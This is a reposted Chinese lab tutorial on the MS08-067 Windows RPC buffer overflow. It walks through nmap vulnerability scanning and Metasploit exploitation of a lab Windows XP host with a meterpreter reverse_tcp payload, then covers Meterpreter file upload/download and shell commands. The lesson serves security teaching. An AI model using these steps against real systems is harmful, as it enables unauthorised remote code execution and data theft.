搜索

[19269] 2018-04-04_MS08-067远程溢出漏洞

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2018-04-04_MS08-067远程溢出漏洞 M S 0 8 - 0 6 7 远 程 溢 出 漏 洞 i 春 秋   2 0 1 8 - 0 4 - 0 4 M S 0 8 - 0 6 7 漏 洞 的 中 文 名 称 为 W i n d o w s   S e r v e r 服 务 R P C 请 求 缓 冲 区 溢 出 漏 洞 ， 这 是 一 个 针 对 1 3 9 、 4 4 5 端 口 的 R P C 服 务 进 行 攻 击 的 漏 洞 。 W i n d o w s 系 统 的 S e r v e r 服 务 在 处 理 特 制 R P C 请 求 时 存 在 缓 冲 区 溢 出 漏 洞 ， 远 程 攻 击 者 可 以 通 过 发 送 恶 意 的 R P C 请 求 触 发 这 个 溢 出 ， 如 果 受 影 响 的 系 统 收 到 了 特 制 伪 造 的 R P C 请 求 ， 可 能 允 许 远 程 执 行 代 码 ， 导 致 完 全 入 侵 用 户 系 统 ， 以   S Y S T E M 权 限 执 行 任 意 指 令 并 获 取 数 据 ， 同 时 获 取 对 该 系 统 的 控 制 权 ， 造 成 系 统 失 窃 及 系 统 崩 溃 等 严 重 问 题 。 M S 0 8 - 0 6 7   漏 洞 是 通 过 M S R P C   o v e r   S M B 通 道 调 用 S e r v e r 程 序 中 的 N E t P a t h C a n o n i c a l i z e 函 数 时 触 发 的 。 N e t P a t h C a n o n i c a l i z e 函 数 在 远 程 访 问 其 他 主 机 时 ， 会 调 用 N e t p w P a t h C a n o n i c a l i z e 函 数 ， 对 远 程 访 问 的 路 径 进 行 规 范 化 ， 而 在 N e t p w P a t h C a n o n i c a l i z e 函 数 中 发 生 了 栈 缓 冲 区 内 存 错 误 ， 造 成 可 被 利 用 实 施 远 程 代 码 执 行 。 今 天 就 由 小 爱 带 大 家 一 起 了 解 一 下 这 个 漏 洞 并 学 习 M e t a s p l o i t 工 具 的 使 用 吧 ~ 实 验 环 境 实 验 环 境 操 作 机   ： K a l i   2 0 1 7 操 作 机 I P ： 1 7 2 . 1 6 . 1 1 . 2 目 标 机 ： W i n d o w s   X P   S 2   中 文 版 目 标 机 I P ： 1 7 2 . 1 6 . 1 2 . 2 实 验 目 的 实 验 目 的 认 知 W i n d o w s 远 程 溢 出 漏 洞 的 危 害 知 悉 M S 0 8 - 0 6 7 漏 洞 的 发 现 和 验 证 过 程 学 习 M e t a s p l o i t 工 具 的 使 用 实 验 工 具 实 验 工 具 N m a p : 端 口 扫 描 探 测 工 具 ， 用 于 探 测 端 口 开 放 情 况 ， 本 次 使 用 其 端 口 扫 描 和 漏 洞 扫 描 功 能 m e s t a s p l o i t ： 开 源 的 渗 透 测 试 框 架 软 件 、 综 合 型 漏 洞 利 用 工 具 ， 本 次 实 验 使 用 其 漏 洞 利 用 模 块 、 m e t e r p r e t e r 组 件 实 验 步 骤 实 验 步 骤 第 第 1 步 步   漏 洞 探 测 漏 洞 探 测 打 开 K a l i 终 端 ， 使 用 N m a p 对 目 标 机 开 放 端 口 进 行 扫 描 n m a p     - s V   - P n   1 7 2 . 1 6 . 1 2 . 2
目 标 机 开 放 了 1 3 5 ` ` 1 3 9 ` ` 4 4 5 ` ` 3 3 8 9 端 口 ， 且 目 标 机 系 统 为 W i n d o w s _ X P 。 一 想 到 X P 或 者 2 0 0 3 系 统 的 4 4 5 端 口 开 放 ， 我 们 就 能 想 到 轰 动 一 时 的 m s 0 8 - 0 6 7 。 我 们 使 用 n m a p 的 漏 洞 扫 描 脚 本 查 看 漏 洞 是 否 可 用 n m a p   - s V   - P n   - p   4 4 5   - - s c r i p t   s m b - v u l n - m s 0 8 - 0 6 7 . n s e   1 7 2 . 1 6 . 1 2 . 2 扫 描 结 果 V U L N E R A B L E , 可 以 利 用 n m a p 漏 扫 脚 本 目 录 ： / u s r / s h a r e / n m a p / s c r i p t /   可 自 行 查 看 其 它 脚 本 第 第 2 步 步   漏 洞 利 用 漏 洞 利 用 终 端 内 输 入 m s f c o n s o l e 打 开   m e t a s p l o i t e   命 令 行 客 户 端 ， 使 用 s e a r c h 命 令 查 找 m s 0 8 - 0 6 7 的 漏 洞 利 用 模 块 s e a r c h   m s 0 8 - 0 6 7
使 用 u s e 命 令 选 择 我 们 要 使 用 的 利 用 模 块 在 运 行 该 模 块 之 前 ， 一 般 需 要 设 置 相 关 选 项 ， 我 们 使 用 s h o w   o p t i o n s 查 看 配 置 信 息 需 要 设 置 目 标 地 址 ， 设 置 命 令 ： s e t   R H O S T   1 7 2 . 1 6 . 1 2 . 2 之 后 ， 选 择 载 荷 p a y l o a d ， 也 就 是 s h e l l c o d e , 此 处 我 们 选 择 回 连 至 控 制 端 s h e l l 的 p a y l o a d s e t   p a y l o a d     w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 当 然 载 荷 也 需 要 进 行 配 置 ， 所 以 我 们 选 择 渗 透 所 用 的 载 荷 后 ， 同 样 使 用 s h o w   o p t i o n s 查 看 配 置 信 息
配 置 中 缺 少 本 地 主 机   R H O S T ， 设 置 一 下 s e t   L H O S T   1 7 2 . 1 6 . 1 1 . 2 M S 0 8 - 0 6 7   针 对 不 同 的 系 统 可 以 选 择 不 同 的 t a r g e t , 使 用 命 令 s h o w   t a r g e t s 可 以 看 见 支 持 的 系 统 我 们 选 择 此 次 目 标 机 的 系 统 ， 编 号 1 0   s e t   t a r g e t   1 0 完 成 配 置 后 ， 运 行 e x p l o i t , 开 始 执 行 漏 洞 利 用 模 块
成 功 获 取 来 自 目 标 主 机 的 S e s s i o n 会 话 第 第 3 步 ： 步 ： M e t e r p r e t e r 常 用 命 令 常 用 命 令 我 们 已 经 成 功 的 获 取 S e s s i o n 会 话 了 ， 接 下 来 ， 我 们 使 用 m e t e r p r e t e r 的 一 些 常 用 基 本 功 能 s y s i n f o 使 用 s y s i n f o 命 令 可 以 查 看 目 标 系 统 的 基 本 信 息 r o u t e r o u t e 命 令 用 于 显 示 目 标 主 机 的 路 由 信 息 ， 通 常 用 来 探 测 目 标 机 的 网 络 情 况 ， 有 助 于 网 络 拓 扑 的 构 建
u p l o a d   /   d o w n l o a d M e t e r p r e t e r 的 u p l o a d 和 d o w n l o a d 命 令 可 以 上 传 文 件 到 目 标 机 器 上 ， 或 下 载 文 件 至 本 地   s h e l l s h e l l 命 令 用 于 获 取 一 个 可 以 交 互 的 s h e l l ， 方 便 执 行 系 统 命 令 实 验 结 果 分 析 与 总 结 实 验 结 果 分 析 与 总 结 通 过 本 次 实 验 ， 我 们 学 习 了 从 发 现 漏 洞 、 到 验 证 漏 洞 、 再 到 利 用 漏 洞 这 一 整 个 过 程 ， 并 初 步 学 习 了 M e t a s p l o i t 这 一 工 具 的 使 用 。 后 续 我 们 会 进 一 步 探 索 其 他 漏 洞 ， 结 合 实 例 去 学 习 M S F 后 渗 透 模 块 的 知 识 。 编 辑 ： 海 州 责 任 编 辑 ： 小 南 瓜 校 对 ： 小 林 龙 马 、 山 雾 草 野
戳 阅 读 原 文 ， 参 与 实 验 吧 戳 阅 读 原 文 ， 参 与 实 验 吧 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理